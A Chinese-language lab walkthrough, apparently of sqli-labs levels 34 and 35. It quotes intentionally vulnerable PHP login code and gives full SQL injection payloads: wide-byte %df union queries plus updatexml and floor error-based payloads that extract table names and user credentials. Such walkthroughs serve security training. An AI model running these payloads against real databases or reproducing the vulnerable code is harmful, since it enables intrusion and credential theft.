赞
踩
SQL注入第一课
SQL无列名注入
SQL报错注入原理
简单的SQL练习,联合注入、报错注入
POST提交方式注入
HTTP头部注入
二次注入
一些绕过案例
HTTP参数污染攻击
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username=‘$uname’ |
本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。
<?php //including the Mysql connect parameters. include("../sql-connections/sqli-connect.php"); // take the variables if(isset($_POST['uname']) && isset($_POST['passwd'])) { $uname1=$_POST['uname']; $passwd1=$_POST['passwd']; //echo "username before addslashes is :".$uname1 ."<br>"; //echo "Input password before addslashes is : ".$passwd1. "<br>"; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'User Name:'.$uname1); fwrite($fp,'Password:'.$passwd1."\n"); fclose($fp); $uname = addslashes($uname1); $passwd= addslashes($passwd1); //echo "username after addslashes is :".$uname ."<br>"; //echo "Input password after addslashes is : ".$passwd; // connectivity mysqli_query($con1, "SET NAMES gbk"); @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result=mysqli_query($con1, $sql); $row = mysqli_fetch_array($result, MYSQLI_BOTH); if($row) { ··· echo 'Your Login name:'. $row['username']; ··· echo 'Your Password:' .$row['password']; ··· } else { ··· //echo "Try again looser"; print_r(mysqli_error($con1)); ··· } } ?>
这里我们只需要看以下代码:
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
使用 addslashes 函数对用户名和密码进行转义处理。剩下的代码与第32关相同。依旧是查询到的话输出查询到的信息,查不到的话输出报错信息,所以联合查询以及报错注入依旧可以尝试使用。
所以我们使用Burp抓包进行测试,抓包发送到重发器中完成注入。
1、猜字段数
uname=1%df' order by 3#&passwd=1&submit=Submit
我们可以看到没有第三列,所以我们为2列。
2、测试观察回显内容
uname=-1%df' union select 1,2#&passwd=1&submit=Submit
3、爆出数据库中所有表的名称
uname=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit
4、爆出数据库中表的列名
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit
同样的,上面是使用十六进制进行查询,下面我们使用子查询进行查询。
uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)#&passwd=1&submit=Submit
5、爆出数据
uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit
下面我们看users表中的内容。
uname=-1%df' union select 1,group_concat(id,username,0x3a,password) from users#&passwd=1&submit=Submit
即可完成注入。
1、爆出该数据库名
uname=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit
2、爆出该数据库中的所有表名
uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1&submit=Submit
3、爆出数据库中表,表名下的列名
uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)#&passwd=1&submit=Submit
同样的,当limit为3,1时,我们就可查询出users表中的列名。
4、爆出users表中的数据
uname=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#&passwd=1&submit=Submit
即可完成updatexml报错注入。
1、爆出当前数据库名
uname=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
2、爆出当前数据库下的所有表名
uname=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
3、爆出当前数据库表名下的列名
uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit
即可查出users表的列名。
4、爆出数据
uname=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#&passwd=1&submit=Submit
即可完成floor报错注入。
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=$id |
同样的,使用1单引号进行测试:
可以看到直接报了错,我们使用1进行尝试发现可以查询成功:
同时我们使用宽字节注入测试即可看到:
我们便可以猜测是闭合方式不是单引号,测试其他依旧相同,所以我们查看源码。
<?php //including the Mysql connect parameters. include("../sql-connections/sqli-connect.php"); function check_addslashes($string) { $string = addslashes($string); return $string; } // take the variables if(isset($_GET['id'])) { $id=check_addslashes($_GET['id']); //echo "The filtered request is :" .$id . "<br>"; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity mysqli_query($con1, "SET NAMES gbk"); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysqli_query($con1, $sql); $row = mysqli_fetch_array($result, MYSQLI_BOTH); if($row) { echo 'Your Login name:'. $row['username']; echo 'Your Password:' .$row['password']; } else { print_r(mysqli_error($con1)); } } else { echo "Please input the ID as parameter with numeric value";} ?>
源码发现和35关差不多,依旧是使用addslashes来进行过滤,但是本关其实挺搞笑的,闭合方式直接不加,使用数字型,所以不用使用宽字节注入,我们只需要不适用单引号、双引号、反斜线就行。
所以我们下面注入就正常注入,不适用单双引号就行。
1、猜字段
?id=1 order by 4--+
?id=1 order by 3--+
2、测试观察回显
?id=-1 union select 1,2,3--+
3、爆出该数据库下的所有表名称
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
4、爆出表的列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+
使用16进制进行查询,下面使用子查询:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+
5、爆出数据
?id=-1 union select 1,group_concat(id,username,0x3a,password),3 from users--+
即可完成注入。
1、爆出当前数据库名称
?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+
2、爆出该数据库下的所有表名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+
3、爆出数据库表下的列名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+
4、爆出数据
?id=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
即可完成updatexml报错注入。
1、爆出数据库名
?id=1 or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
2、爆出数据库名下的表名
?id=1 or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
3、爆出当前数据库表下的列名
?id=1 or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
4、爆出数据
?id=1 or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+
即可完成floor报错注入。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。